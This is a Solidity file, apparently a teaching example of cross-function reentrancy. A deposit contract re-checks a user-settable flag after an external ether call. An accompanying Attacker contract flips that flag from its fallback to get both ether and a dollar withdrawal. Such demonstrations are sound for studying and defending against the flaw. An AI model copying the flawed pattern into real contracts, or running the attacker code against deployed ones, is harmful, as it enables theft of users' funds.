ReentrantEtherOrDollars.js

pragma solidity 0.5.2;
contract EtherOrDollars {
mapping(address => uint) public balances;
    mapping(address => bool) public eth;
    
    function deposit(bool _eth) external payable {
        require(balances[msg.sender] == 0);
        
        balances[msg.sender] = msg.value;
        eth[msg.sender] = _eth;
    }
    
    function setEth(bool _eth) public {
        eth[msg.sender] = _eth;
    }
    
    event WithdrawDollars(address user, uint value);
    
    function withdraw() public {
        uint value = balances[msg.sender];
        balances[msg.sender] = 0;
        if (eth[msg.sender]) {
            (bool b, ) = msg.sender.call.value(value)("");
            require(b);
        }
        if (!eth[msg.sender]) {
            emit WithdrawDollars(msg.sender, value);
        }
    }
}
contract Attacker {
    function attack(EtherOrDollars target) external payable {
        target.deposit.value(1 ether)(true);
        target.withdraw();
        msg.sender.transfer(address(this).balance); // just to retrieve stolen ether
    }
    
    function() external payable {
        EtherOrDollars(msg.sender).setEth(false);
    }
}